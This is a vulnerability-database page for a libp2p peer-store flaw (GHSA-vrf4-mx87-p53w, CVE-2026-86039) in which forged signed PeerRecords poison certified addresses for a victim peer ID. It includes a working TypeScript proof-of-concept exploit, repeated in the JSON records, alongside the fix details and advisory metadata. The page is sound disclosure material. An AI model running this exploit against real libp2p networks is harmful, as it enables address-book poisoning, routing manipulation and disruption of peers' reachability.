Vulnerability-Lookup

GHSA-VRF4-MX87-P53W

Vulnerability from github – Published: 2026-09-17 18:01 – Updated: 2026-09-17 18:01

Summary

libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses

Details

Summary

@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details

The vulnerable code is in packages/peer-store/src/index.ts:

RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature.
const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID.
The optional expectedPeer check only compares expectedPeer to the envelope signer.
const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes.
this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

if (!peerRecord.peerId.equals(envelopePeer)) {
  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> {
  const localKey = await generateKeyPair('Ed25519')
  const attackerKey = await generateKeyPair('Ed25519')
  const victimKey = await generateKeyPair('Ed25519')

  const attacker = peerIdFromPrivateKey(attackerKey)
  const victim = peerIdFromPrivateKey(victimKey)
  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

  const peerStore = persistentPeerStore({
    peerId: peerIdFromPrivateKey(localKey),
    datastore: new MemoryDatastore(),
    events: new TypedEventEmitter(),
    logger: defaultLogger()
  })

  // Payload claims victim, but the envelope is signed by attacker.
  const forgedRecord = new PeerRecord({
    peerId: victim,
    multiaddrs: [attackerAddr],
    seqNumber: 999999n
  })
  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
    expectedPeer: attacker
  })

  assert.equal(accepted, true)

  const poisonedVictim = await peerStore.get(victim)
  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
    multiaddr: multiaddr.toString(),
    isCertified
  })), [{
    multiaddr: attackerAddr.toString(),
    isCertified: true
  }])

  console.log(`${label} reproduced`)
  console.log(`attacker signer: ${attacker}`)
  console.log(`victim storage key: ${victim}`)
  console.log(`stored certified address: ${attackerAddr}`)
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

Certified peer-record address hijack reproduced
attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj
victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn
stored certified address: /ip4/203.0.113.66/tcp/4001

Impact

Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.

This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/peer-store"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "12.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T18:01:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.\n\n### Details\nThe vulnerable code is in `packages/peer-store/src/index.ts`:\n\n- `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature.\n- `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID.\n- The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer.\n- `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes.\n- `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID.\n\nThe missing invariant is:\n\n```ts\npeerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))\n```\n\n`packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior:\n\n```ts\nif (!peerRecord.peerId.equals(envelopePeer)) {\n  throw new InvalidMessageError(\u0027signing key does not match PeerId in the PeerRecord\u0027)\n}\n```\n\nThe gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling:\n\n```ts\npeerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })\n```\n\nThis does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`.\n\n### PoC\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair } from \u0027@libp2p/crypto/keys\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { PeerRecord, RecordEnvelope } from \u0027@libp2p/peer-record\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { multiaddr } from \u0027@multiformats/multiaddr\u0027\nimport { MemoryDatastore } from \u0027datastore-core/memory\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\n\nconst label = \u0027Certified peer-record address hijack\u0027\n\nasync function main (): Promise\u003cvoid\u003e {\n  const localKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const victimKey = await generateKeyPair(\u0027Ed25519\u0027)\n\n  const attacker = peerIdFromPrivateKey(attackerKey)\n  const victim = peerIdFromPrivateKey(victimKey)\n  const attackerAddr = multiaddr(\u0027/ip4/203.0.113.66/tcp/4001\u0027)\n\n  const peerStore = persistentPeerStore({\n    peerId: peerIdFromPrivateKey(localKey),\n    datastore: new MemoryDatastore(),\n    events: new TypedEventEmitter(),\n    logger: defaultLogger()\n  })\n\n  // Payload claims victim, but the envelope is signed by attacker.\n  const forgedRecord = new PeerRecord({\n    peerId: victim,\n    multiaddrs: [attackerAddr],\n    seqNumber: 999999n\n  })\n  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)\n\n  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.\n  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {\n    expectedPeer: attacker\n  })\n\n  assert.equal(accepted, true)\n\n  const poisonedVictim = await peerStore.get(victim)\n  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) =\u003e ({\n    multiaddr: multiaddr.toString(),\n    isCertified\n  })), [{\n    multiaddr: attackerAddr.toString(),\n    isCertified: true\n  }])\n\n  console.log(`${label} reproduced`)\n  console.log(`attacker signer: ${attacker}`)\n  console.log(`victim storage key: ${victim}`)\n  console.log(`stored certified address: ${attackerAddr}`)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\n\nExpected output:\n\n```text\nCertified peer-record address hijack reproduced\nattacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj\nvictim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn\nstored certified address: /ip4/203.0.113.66/tcp/4001\n```\n\n### Impact\nAttackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.\n\nThis does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.",
  "id": "GHSA-vrf4-mx87-p53w",
  "modified": "2026-09-17T18:01:38Z",
  "published": "2026-09-17T18:01:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses"
}

CVE-2026-86039 (GCVE-0-2026-86039)

Vulnerability from cvelistv5 – Published: 2026-09-17 15:19 – Updated: 2026-09-17 15:19

Title

libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses

Summary

libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

CWE

CWE-290 - Authentication Bypass by Spoofing
CWE-345 - Insufficient Verification of Data Authenticity

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/libp2p/js-libp2p/security/advi…	x_refsource_CONFIRM
https://github.com/libp2p/js-libp2p/pull/3570	x_refsource_MISC
https://github.com/libp2p/js-libp2p/commit/3bf5d3…	x_refsource_MISC
https://github.com/libp2p/js-libp2p/releases/tag/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
libp2p	js-libp2p	Affected: >= 8.0.0, < 12.0.24

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "js-libp2p",
          "vendor": "libp2p",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 8.0.0, \u003c 12.0.24"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker\u0027s own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker\u0027s key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-290",
              "description": "CWE-290: Authentication Bypass by Spoofing",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-345",
              "description": "CWE-345: Insufficient Verification of Data Authenticity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-17T15:19:00.697Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
        },
        {
          "name": "https://github.com/libp2p/js-libp2p/pull/3570",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/libp2p/js-libp2p/pull/3570"
        },
        {
          "name": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
        },
        {
          "name": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
        }
      ],
      "source": {
        "advisory": "GHSA-vrf4-mx87-p53w",
        "discovery": "UNKNOWN"
      },
      "title": "libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-86039",
    "datePublished": "2026-09-17T15:19:00.697Z",
    "dateReserved": "2026-09-04T19:29:21.058Z",
    "dateUpdated": "2026-09-17T15:19:00.697Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-VRF4-MX87-P53W

Summary

Details

PoC

Impact

CVE-2026-86039 (GCVE-0-2026-86039)

Tags

Sightings

Nomenclature

Related by attack behaviour